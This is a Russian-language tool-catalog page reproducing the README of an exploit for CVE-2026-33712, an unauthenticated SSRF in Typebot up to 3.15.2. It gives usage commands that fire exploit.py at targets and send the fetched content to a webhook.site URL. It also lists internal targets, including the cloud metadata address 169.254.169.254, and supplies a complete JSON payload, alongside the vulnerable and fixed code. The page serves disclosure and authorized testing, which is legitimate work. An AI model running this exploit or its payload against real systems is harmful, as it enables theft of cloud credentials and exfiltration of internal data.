Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33712 — CVE-2026-33712 - Typebot <= 3.15.2 Неаутентифицированный SSRF через fetch в песочнице isolated-vm | Kitploit
Инструменты/GitHubGitHub/portbuster1337/cve-2026-33712
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubportbuster1337/cve-2026-33712

CVE-2026-33712

CVE-2026-33712 - Typebot <= 3.15.2 Неаутентифицированный SSRF через fetch в песочнице isolated-vm

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33712 — Typebot: неаутентифицированный SSRF

Описание

Typebot <= 3.15.2 (исправлено в 3.16.0) содержит неаутентифицированную уязвимость Server-Side Request Forgery (SSRF) в конечной точке предпросмотра чата.

Конечная точка: POST /api/v1/typebots/{typebotId}/preview/startChat

Конечная точка предпросмотра принимает предоставленное пользователем определение typebot с серверными блоками Code. Функция fetch(), доступная внутри песочницы isolated-vm, вызывает нативный fetch Node.js без проверки SSRF validateHttpReqUrl(), которая защищает обычный блок HTTP Request. Это обходит все меры защиты от SSRF.

Дисклеймер

Этот инструмент предоставляется только в образовательных целях и для авторизованного тестирования безопасности. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом.

Влияние

  • Кража облачных учётных данных (AWS IMDS, GCP metadata, Azure IMDS)
  • Доступ к внутренней сети: Docker-контейнеры и частные подсети
  • Экфильтрация данных из внутренних сервисов
  • Раскрытие SMTP_FROM / email администратора через __ENV.js

Файлы

ФайлОписание
exploit.pyОсновной скрипт эксплойта
endpoints.txtПо одному URL на строку — цели SSRF для сканирования
requirements.txtЗависимости Python

Использование

root@kitploit:~
pip install -r requirements.txt

# Одиночный SSRF-запрос
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid

# Сканирование всех URL из endpoints.txt
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan

# Автоопределение URL вьюера из __ENV.js билдера
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan

# Пропустить предварительную проверку и принудительно выполнить
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force

Аргументы

АргументОписание
-t / --targetURL экземпляра Typebot (вьюер или билдер). Схема по умолчанию — http://
-u / --urlВнутренний URL для запроса через SSRF (одиночный режим)
-w / --webhookURL вебхука для экфильтрованных данных (или переменная окружения WEBHOOK_URL)
--scanСканировать все URL из endpoints.txt
--detect-viewerПроверить /__ENV.js на цели, чтобы найти NEXT_PUBLIC_VIEWER_URL и использовать его
--forceПропустить предварительные проверки и принудительно выполнить
--timeoutТаймаут запроса (по умолчанию: 20 с)
--delayЗадержка между запросами при сканировании (по умолчанию: 0,3 с)

Поведение

  1. Авто-схема — если вы передаёте bot.example.com без http://, оно добавляется автоматически.
  2. Предварительная проверка — перед любым запросом скрипт проверяет цель и классифицирует её как vulnerable, patched (требуется аутентификация) или endpoint_missing (неверный URL/версия). При сбое завершает работу досрочно, если не задан --force.
  3. Режим сканирования — читает endpoints.txt, перебирает каждый URL, экфильтрует содержимое на вебхук.
  4. Экфильтрация — содержимое отправляется как тело POST-запроса на URL вебхука (не как query-параметры), что позволяет избежать ограничений на длину URL.

endpoints.txt

По одному «сырому» URL на строку. Пустые строки игнорируются. Никаких комментариев и категорий.

root@kitploit:~
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/

Уязвимый путь кода

В packages/variables/src/executeFunction.ts функция fetch(), доступная внутри песочницы isolated-vm, изначально вызывала нативный fetch Node.js без проверки SSRF:

root@kitploit:~
// УЯЗВИМО (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
  new Reference(async (...fetchArgs) => {
    const [input, init] = fetchArgs;
    const res = await fetch(input, init);  // No validateHttpReqUrl!
    return res.text();
  }),
});

// ИСПРАВЛЕНО (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
  new Reference(async (...fetchArgs) => {
    const [input, init] = fetchArgs;
    const request = new Request(input, init);
    await validateHttpReqUrl(request.url);  // SSRF check added
    validateHttpReqHeaders(headers);
  }),
});

Исправление (коммит d96f572) также изменило порядок проверок в getTypebot(), так что проверка аутентификации выполняется до сокращённого пути для пользовательского typebot, а конечная точка предпросмотра вьюера была перенесена с procedureWithOptionalUser на protectedProcedure.

Структура полезной нагрузки

root@kitploit:~
{
  "typebotId": "exploit-id",
  "typebot": {
    "version": "6",
    "id": "exploit-bot",
    "workspaceId": "test",
    "updatedAt": "2026-01-01T00:00:00.000Z",
    "groups": [
      {
        "id": "group-1", "title": "Start",
        "graphCoordinates": {"x": 0, "y": 0},
        "blocks": [
          {"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
        ]
      },
      {
        "id": "group-2", "title": "SSRF",
        "graphCoordinates": {"x": 200, "y": 0},
        "blocks": [
          {
            "id": "block-2", "type": "Code",
            "outgoingEdgeId": "edge-2",
            "options": {
              "name": "SSRF",
              "content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
              "isExecutedOnClient": false,
              "isUnsafe": true
            }
          }
        ]
      }
    ],
    "edges": [
      {"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
    ],
    "events": [
      {"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
    ],
    "variables": [
      {"id": "var-1", "name": "result", "value": null}
    ],
    "settings": {"general": {}},
    "theme": {"general": {}, "chat": {}}
  }
}

Важно: fetch() внутри песочницы уже возвращает .text(), поэтому результат — это строка, а не объект Response.

Скачать инструмент